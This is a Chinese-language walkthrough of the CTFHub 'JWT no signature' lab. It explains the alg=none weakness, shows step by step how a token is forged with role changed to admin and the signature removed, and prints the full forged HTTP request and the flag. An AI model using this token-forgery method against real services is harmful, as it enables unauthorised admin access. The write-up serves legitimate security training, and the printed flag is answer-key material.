CTFHub Web进阶-Json Web Token通关3:无签名
目录
一、无签名原理分析
1、核心原理
2、攻击流程
二、无签名渗透实战
1、打开靶场
2、登录
3、bp抓包分析login报文
4、bp抓包分析index报文
5、修改签名算法为空
6、修改管理员角色
7、完整token
8、发送index报文到repeater
9、bp修改报文发包获取flag
本文详细讲解CTFHub的Web进阶中Json Web Token的无签名算法关卡的原理与渗透全流程。
- 利用原理:通过将JWT的alg字段设为none绕过签名验证,篡改角色信息提升权限。
- 实战流程:捕获原始JWT、解码分析、伪造Header和Payload(修改alg为none、role为admin)、拼接无签名token并发送请求,最终成功获取flag。
一、无签名原理
CTFHub 中 JWT “无签名” 关卡的核心原理,是利用 JWT 协议中空签名算法(alg=None)的设计缺陷,结合服务器端对签名验证的配置缺陷,实现伪造合法 JWT 令牌、越权访问目标资源。
1、核心原理
JWT 的签名(Signature)是保障令牌完整性和防篡改性的核心,但协议中预留了 alg=None 算法,其设计初衷是用于调试场景—— 当 alg 字段设为 None 时,JWT 无需生成签名,仅需包含 “Header(头部).Payload(负载)” 两部分(正常 JWT 为三部分,第三部分为签名),服务器端会跳过签名验证流程。
然而,若服务器端在生产环境(或关卡环境)中未禁用 alg=None 算法,攻击者即可利用该特性绕过签名校验:
- 攻击者修改 JWT 的 Header,将
alg字段设为None,告知服务器 “无需验证签名”; - 篡改 Payload 中的关键字段(如将
sub(主题,通常表示用户身份)从user改为admin,以获取管理员权限); - 由于
alg=None无需签名,直接删除 JWT 原有的第三部分(签名),仅保留 “Header 编码串.Payload 编码串”(部分场景需在末尾保留一个空的点.,确保格式兼容); - 将伪造的 JWT 提交给服务器,服务器因未禁用
alg=None,会跳过签名验证,直接信任 Payload 中的身份信息,从而实现越权。
2、攻击流程
- 捕获 JWT 令牌:使用抓包工具,如 Burp Suite,拦截用户正常登录或访问页面时的请求,从中提取出 Cookie 或 Authorization 头中携带的 JWT 令牌。此时得到的 JWT 可能是默认使用了
alg=None算法,或者服务器允许后续将其修改为该算法。 - 解码分析 JWT:通过 JWT 解码工具,如jwt.io或 Burp 插件等,对捕获的 JWT 进行解码。查看其 Header 部分,确认
alg字段是否为None,如果是,则说明该 JWT 未进行签名验证,存在安全风险可利用。同时查看 Payload 部分,明确当前用户的身份信息,如sub字段的值,通常为普通用户,而我们的目标是将其修改为admin以获取管理员权限。 - 伪造 JWT:
- 构造新的 Header,将
alg字段设为None,typ字段保持为JWT,即{"alg":"None","typ":"JWT"},然后使用 Base64URL 编码对其进行编码。Base64URL 编码与标准 Base64 编码有所不同,它不保留末尾的=填充符,并且将+替换为-,/替换为_。 - 构造新的 Payload,根据关卡要求,修改其中的关键身份字段。例如,将role字段的值从普通用户改为
admin,即{"sub":"admin"},同样使用 Base64URL 编码对其进行编码。 - 将编码后的 Header 和 Payload 进行拼接,中间用点
.分隔,形成新的 JWT。部分场景下,需要在末尾保留一个空的点.,确保格式兼容,即Header编码串.Payload编码串.。
- 构造新的 Header,将
- 提交伪造令牌:将伪造好的 JWT 替换原请求中的令牌,然后再次访问目标资源,如
/admin目录下的 Flag 页面。由于服务器未禁用alg=None算法,会跳过签名验证步骤,直接信任 Payload 中的身份信息,认为请求是由管理员用户发出的,从而返回 Flag 内容,攻击者成功获取到关卡的 Flag。
二、无签名渗透实战
1、打开靶场

2、登录
http://challenge-8e75f6c6e995e25a.sandbox.ctfhub.com:10800/login.php

点击登录,页面提示如下所示“Hello admin(guest), only admin can get flag.”。

3、bp抓包分析login报文
找到此包,login报文如下所示,服务器的response包含token值,完整token值如下所示:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.IUeCR3syeXTQ4dIv28XTa065gWtD-g0ON84O2zRcuuc
其中eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9解密后为{"typ":"JWT","alg":"HS256"},本关卡为无签名,意味着alg需要设置为none,意味着需要改为{"typ":"JWT","alg":"none"}。

4、bp抓包分析index报文
下一个报文index.php的bp如下所示,其中
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ解密后为
{"username":"admin","password":"ljn","role":"guest"},页面提示只有admin能获取flag,说明role角色应该为admin,意味着应该改为{"username":"admin","password":"ljn","role":"admin"}。

使用jwt解密网站解析,完整如下所示。

5、修改签名算法为空
签名alg置空后加密{"typ":"JWT","alg":"HS256"}改为{"typ":"JWT","alg":"none"}
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=

6、修改管理员角色
管理员角色由guest改为admin后加密,{"username":"admin","password":"ljn","role":"guest"}改为
{"username":"admin","password":"ljn","role":"admin"},base64加密后结果如下所示。
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ==

7、完整token
由于使用无签名算法,所以Signature为空,将其移除。然后使用.将Header、Payload拼接起来,得到新的JWT token
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ==.
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ==.
8、发送index报文到repeater


9、bp修改报文发包获取flag
将cookie的token替换为如下内容。
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ==.

完整payload如下所示,成功获取到flag值。
| 请求报文: GET /index.php HTTP/1.1 Host: challenge-8e75f6c6e995e25a.sandbox.ctfhub.com:10800 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://challenge-8e75f6c6e995e25a.sandbox.ctfhub.com:10800/login.php Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ==. DNT: 1 X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 响应报文 HTTP/1.1 200 OK Server: openresty/1.21.4.2 Date: Thu, 30 Oct 2025 11:48:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 80 Connection: close X-Powered-By: PHP/7.4.5 Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Methods: * Hello admin(admin), only admin can get flag.<br>ctfhub{99fdb1b3444ed249c13bce1c} |
